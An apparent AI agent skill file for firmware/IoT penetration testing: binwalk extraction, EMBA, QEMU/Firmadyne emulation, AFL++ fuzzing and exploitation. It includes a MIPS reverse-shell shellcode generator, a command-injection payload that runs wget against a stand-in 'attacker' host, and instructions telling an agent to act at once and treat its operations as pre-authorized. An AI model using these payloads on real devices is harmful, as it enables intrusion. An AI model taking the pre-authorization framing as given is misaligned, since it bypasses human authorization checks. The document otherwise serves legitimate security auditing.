Firmware Pentest

---
name: router-reverse-skill-router-firmware-pentest
description: |
  Firmware / IoT penetration chain. Start from a raw .bin / .img blob and run the full loop: reverse engineering → extraction → emulation → exploitation.
  The methodology follows the nine phases of OWASP FSTM; the toolchain centers on binwalk v3, unblob, EMBA, Firmadyne, and AFL++.
  Applicable scenarios: router/camera/smart-home firmware auditing, firmware upgrade package reversing, IoT CVE reproduction, embedded 0-day hunting.
  Trigger keywords: firmware, IoT, binwalk, unblob, UART, JTAG, squashfs, UBI, JFFS2, Firmadyne, QEMU full-system emulation, EMBA, firmware pentest, router firmware, embedded exploitation, bootloader, NVRAM, FAT, firmware analysis toolkit.
---

# Firmware / IoT Penetration Chain (Firmware Pentest)

## ACTION REQUIRED (execute immediately after reading)

1. `NOW`: read `../field-journal/precedent-pentest.md` — confirm this skill's operations are pre-authorized routine operations
2. `NOW`: confirm whether the current task falls within this skill's scope
3. `NEXT`: read `../tool-index.md`, verify tool availability and actual paths
4. `NEXT`: when tools are missing, invoke bootstrap — do not guess paths
5. `ACT`: enter step one of the "Workflow" and execute; do not stop at the confirmation stage

## Scope

The following tasks enter this skill:

1. **You have a firmware file** (.bin / .img / .trx / .chk / OTA zip) and need to go from zero to RCE
2. **Router/camera/IoT device audit** — need to batch-discover known CVEs and undisclosed vulnerabilities
3. **Encrypted/packed firmware**, need to find the bootloader decryption routine or do a hardware dump
4. **Need to run it without touching hardware** (QEMU full-system emulation / Firmadyne / FAT)
5. **Fuzz the emulated services** (AFL++ qemu mode / boofuzz)
6. **Hardware interface access** (UART / JTAG / SPI flash dump)

### Division of Labor with Other Skills

| Scenario | What to Use |
|------|--------|
| Firmware from scratch, full FSTM chain | **this skill** |
| Static reversing of a single ELF/so only | `reverse-engineering/`, `ida-reverse/`, `radare2/` |
| Web/RCE exploitation after emulation is up | `pentest-tools/`, `attack-chain/` |
| Hands-on hardware interfaces (UART/JTAG/SPI) | this skill's Stage 2 chapter + `patterns-hardware.md` |
| APK / Android firmware (incl. boot.img) | `apk-reverse/` (strip boot.img first, then use this skill) |
| Cross-version firmware symbol migration | `binary-diff/` |

## Core Principles

```text
Firmware .bin
   │
   ├─ Stage 1-3: reconnaissance / acquisition / static analysis (parts visible without unpacking)
   │
   ├─ Stage 4: extract the filesystem  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ failure → find the bootloader decryption routine / UART dump / SPI flash hardware read
   │
   ├─ Stage 5: filesystem static analysis  ← EMBA automation + manual grep
   │
   ├─ Stage 6: emulated run  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: dynamic / runtime analysis  ← gdb-multiarch, IDA remote debugging, Ghidra
   │
   └─ Stage 9: binary exploitation  ← AFL++ fuzz / manual PoC / ARM / MIPS payload
```

Key judgments:
- Extraction failure does not mean the firmware is encrypted — first run binwalk v2, binwalk v3, unblob, jefferson, and ubi_reader through all of it
- EMBA produces an HTML report with one command, saving 80% of the grunt work; the remaining 20% is the actual vulnerability hunting
- When emulation won't come up, first suspect missing NVRAM, mismatched NIC names, or missing `/dev/` nodes
- ARM / MIPS payloads must distinguish endianness (mipsel vs mipseb) — do not mix them up

## OWASP FSTM Nine-Phase Workflow

### Stage 1 — Information Gathering

Collect model, chipset, SDK, and publicly disclosed CVEs.

```bash
# FCC ID lookup (US-market devices)
curl -s "https://fccid.io/?q=$FCC_ID"

# Chipset identification reference points
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
```

Output: chipset model, SDK origin (the SDK determines whether binwalk succeeds on the first try).

### Stage 2 — Obtaining Firmware

Four routes: official download, OTA capture, UART shell then dump, SPI flash physical read.

```bash
# Batch download after OTA capture
mitmdump -s save_response.py

# UART access (USB-TTL, common baud rates 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Read SPI flash with CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin
```

### Stage 3 — Analyzing Firmware

Before unpacking, look at the header, entropy, strings, and recognizable signatures.

```bash
binwalk firmware.bin              # magic scan
binwalk -E firmware.bin           # entropy plot; high-entropy sections = compressed/encrypted
strings -n 8 firmware.bin | less  # banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64
```

### Stage 4 — Extracting Filesystem

See `references/extraction-methodology.md` for details.

```bash
binwalk -eM firmware.bin           # recursive extraction
unblob -d out/ firmware.bin        # handles formats binwalk fails on
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI
```

### Stage 5 — Filesystem Static Analysis

One-command EMBA scan; see `references/emba-automated-analysis.md` for details.

```bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
```

Manual follow-up:

```bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
```

### Stage 6 — Emulating Firmware

See `references/emulation-and-fuzz.md` for details.

```bash
# User mode: run a single binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Full system: FAT (the Firmadyne wrapper)
sudo fat.py firmware.bin
```

### Stage 7 — Dynamic Analysis

Once emulation is up, attach debuggers, capture traffic, run fuzzers.

```bash
# gdb remote debugging for MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + the router's web UI
echo "Set the Firmadyne-emulated IP as the Burp upstream proxy target"
```

### Stage 8 — Runtime Analysis

Attach a debugger on real hardware, or do coverage-guided fuzzing in the emulated state.

```bash
# Fuzz an ARM / MIPS binary with AFL++ qemu mode
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
```

### Stage 9 — Exploitation

Write the PoC, generate the payload, land a root shell.

```bash
# pwntools generates a MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadgets
ropper --file squashfs-root/usr/sbin/httpd --search "system"
```

## Typical Scenario Examples

### Scenario 1: Full Chain on an Ordinary Router Firmware (TP-Link / Xiaomi routers / OpenWrt derivatives)

```text
Firmware: router_v1.2.3.bin (unencrypted squashfs)
Goal: find an unauthenticated RCE in the web admin interface and reproduce it

Step 1 reconnaissance
  - FCC ID lookup → MT7621 + MT7615 + 16MB flash
  - Public CVEs: CVE-2023-xxxxx (chk header validation flaw)

Step 2 obtain firmware
  - Download the .bin from the official site, compare sha256 against a known sample

Step 3 analysis
  - binwalk → detects uImage + squashfs-xz
  - Entropy plot → squashfs section entropy ~0.95 (normal compression)

Step 4 extraction
  - binwalk -eM router_v1.2.3.bin
  - yields the complete root filesystem in squashfs-root/

Step 5 EMBA scan
  - High severity in the report: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 with multiple CVEs
  - First-party binary: /usr/sbin/cgibin contains system() with directly concatenated strings

Step 6 emulation
  - sudo fat.py router_v1.2.3.bin
  - Emulated at IP 192.168.0.1, web accessible

Step 7-8 dynamic
  - Burp captures the /cgi-bin/luci interface family
  - discover the hostname parameter is concatenated straight into system

Step 9 exploitation
  - craft hostname=`;wget http://attacker/x;sh x;`
  - reverse shell succeeds in the emulated state
  - retest passes on the real device → report to the SRC program
```

### Scenario 2: Encrypted Firmware (find the bootloader decryption routine)

```text
Firmware: encrypted_fw.bin (binwalk shows nothing + entropy ~0.99)

Step 1 determine whether it is truly encrypted
  - Entropy ~0.99 across all sections and no magic at all → likely encrypted or purely compressed
  - hexdump of the first 256 bytes → look for a vendor header

Step 2 obtain the bootloader
  - Press a key during UART boot to enter U-Boot
  - md.b 0x80000000 0x1000   # read memory
  - or physically read the whole SPI flash → contains the U-Boot section

Step 3 reverse U-Boot to find the decryption routine
  - Use the reverse-engineering skill (IDA / Ghidra)
  - Entry board_init_r → find image_decrypt before do_bootm
  - Usually AES-128-CBC, with the key hardcoded in .rodata

Step 4 offline decryption
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 return to Stage 4 and re-run the standard pipeline
  - binwalk decrypted.bin → squashfs appears
  - the rest is the same as Scenario 1

Fallbacks
  - bootloader is encrypted too → look for SoC first-stage ROM documentation
  - SoC has secure boot → consult public fault injection / glitch research
```

## Caveats

- **Endianness**: MIPS routers are commonly mipsel (little-endian, MT series) / mipseb (big-endian, Broadcom series) — do not use the wrong qemu binary
- **NVRAM**: httpd crashes immediately after emulation comes up → 90% of the time nvram_get gets no value; Firmadyne ships a libnvram hook, and FAT includes it by default
- **EMBA is not a silver bullet**: don't blindly trust the pile of CVEs it reports — verify version strings and actual exploitation conditions
- **AFL++ qemu mode is slow**: recompile the target with afl-clang-lto first (if source is available), 5-10x faster
- **Dump before touching real hardware**: a full flash dump is essential before bricking a physical device — use flashrom / ch341a / minipro
- **Legal boundaries**: only work on your own devices, SRC-authorized targets, CTFs, and public cyber ranges; enterprise production equipment requires written authorization
- **field-journal write-back**: after finishing each firmware, record the chipset, SDK, whether binwalk succeeded, and whether emulation succeeded, so the same series can be reused directly next time

---

## On-Demand Bootstrap

### Tool List

| Tool | Purpose | Auto-install |
|------|------|---------|
| binwalk v3 | Primary extraction (Rust rewrite) | ✓ |
| binwalk v2 | Legacy plugin compatibility | ✓ |
| unblob | Fallback extraction | ✓ |
| jefferson | JFFS2 extraction | ✓ |
| ubi_reader | UBI / UBIFS extraction | ✓ |
| EMBA | Automated analysis framework | ✓ |
| Firmadyne | Full-system emulation | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne wrapper | ✓ |
| qemu-user-static | User-mode emulation | ✓ |
| qemu-system-* | Full-system emulation | ✓ |
| AFL++ | Fuzzing | ✓ |
| pwntools | Exploitation scripting | ✓ |
| flashrom | SPI flash read/write | ✓ |
| picocom | UART serial | ✓ |

### Installation Commands

```bash
# Debian / Ubuntu all-in-one
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (Rust version)
cargo install binwalk

# Python tooling
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
```

### Windows Users

The firmware pentest chain strongly depends on Linux tools; recommended:
- WSL2 Ubuntu 22.04 (sufficient for most scenarios)
- Or a dedicated Kali / Ubuntu VM
- EMBA requires Linux; Firmadyne / FAT require Linux

---

## Routing Context

**Upstream entry**: `skills/SKILL.md` (master control), `routing.md`
**Trigger conditions**: the task involves firmware files, IoT devices, embedded vulnerability hunting, or router auditing
**Downstream exits**:
- Deep static analysis of a single binary → `reverse-engineering/`, `ida-reverse/`, `radare2/`
- Web RCE / post-exploitation after emulation is up → `pentest-tools/`, `attack-chain/`
- Cross-version firmware symbol migration → `binary-diff/`
- Hands-on hardware interface reference → `patterns-hardware.md`
- APK / boot.img handling → `apk-reverse/`

**Peer relations**: `pentest-tools/` (cooperates at the web exploitation stage), `attack-chain/` (cross-phase attack chain planning)

**Reference documents**:
- `references/extraction-methodology.md` — extraction details and failure fallbacks
- `references/emba-automated-analysis.md` — full EMBA workflow
- `references/emulation-and-fuzz.md` — emulation + fuzzing in practice


## Task Completion Self-Check (MUST pass before claiming completion)

- [ ] Did I execute every step of the workflow (not just read it)?
- [ ] Did I use real tool paths based on `tool-index`?
- [ ] Did I produce reproducible evidence (commands/scripts/screenshots/reports)?
- [ ] Did I complete and write back the Checklist items required by RULES?